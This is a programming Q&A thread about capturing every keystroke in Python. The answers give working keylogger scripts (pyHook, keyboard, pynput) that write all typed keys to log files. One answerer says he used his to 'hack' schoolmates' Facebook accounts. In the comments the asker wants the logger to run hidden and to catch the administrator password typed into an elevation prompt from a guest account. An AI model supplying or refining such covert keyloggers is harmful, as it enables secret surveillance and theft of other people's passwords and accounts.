How do I capture each key typed in python

Asked

Viewed 6,351 times

3

I am trying to make a program that captures the keystrokes typed on the pc, so that later I can access them. I don’t know where to start. I don’t know if you use sqlite3 (database), in google I searched, but some explanations are zero.

  • I just got really curious, what the sqlite have to do with captured keys ? you want to create a keylogger ? play on a database all the keys that eventually someone typed in windows ? if I understand correctly I don’t know if python has all this power for capturing keys of the entire Operating System(I’ve never seen a lib like this for python), I think you will only be able to capture the keys that are in the execution plan of your script and not in the entire operating system ....

  • Maybe it has nothing to do with one another, the idea was that all keys were saved in a file *txt after being closed the program, the same one that I posted 13 Lines (it does not use sqlite3, but it is the same function that I was looking for)

4 answers

1

Dude if you want to make a Keylogger I already had a code I used in school to "hack" the facebook staff (I was a bad person)

import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

If you know English you can read this article :

1

Really the Keyboard library works for python 2x and 3x.

https://pypi.org/project/keyboard/

After installing, 'and only import and use the method Keyboard.Wait(keyboard) and be happy implementing your code.

0

Victor Voce could start searching on 'KEYBOARD LISTENERS'.

An example library used in python for keyboard capture and writing is:

Keyboard

Link to Library Documentation

It would be necessary for you to develop some code and better structure your question for a more assertive answer.

Anyway follows an example I altered that may be a north for you:

import keyboard
import string
from threading import *

"""
Optional code(extra keys):

keys.append("space_bar")
keys.append("backspace")
keys.append("shift")
keys.append("esc")
"""

# Atribuo a lista de caracteres ascii para a variavel keys(não encontrei lista com todas as teclas)
teclas = list(string.ascii_lowercase)

def listen(tecla):
    while True:
        keyboard.wait(tecla)
        print("- Tecla pressionada: ",tecla)
threads = [Thread(target=listen, kwargs={"tecla":tecla}) for tecla in teclas]

for thread in threads:
    thread.start()

This routine reads keystrokes and 'printa' on the screen.

  • Anderson used it from the parameter of the function 'Listen' this function is used to block the execution of the program until some key is pressed. In print I am using this variable (key) simply to display which key was pressed by the user

  • Do you know what the problem is? It only captures keys - letters, this does not include numbers or symbols, I know it is asking too much, but I want to leave the program running in hidden.

  • in that case Voce would have to put appends manually Victor, I changed the code to get you idea

  • I tried to add, but I couldn’t.

  • I got another code, could someone help me? I managed to hide the way I wanted the program, but there is only one problem, for example: 1)When I am logged in to the windows guest account and run the capture program, After I run the installer of a particular program that asks for the Administrator’s permission, it simply does not capture what is typed, it passes directly by ignoring. I wanted him to capture what is typed in this window that asks for the ADM password of the pc, I will put the code here.

0

In only 13 Lines, this program does a gigantic job with only one drawback:

from pynput.keyboard import Key, Listener
import logging

log_dir = "C:/Users/"

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

The downside is that when you open the window that asks for the computer administrator’s password it does not capture what is typed.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.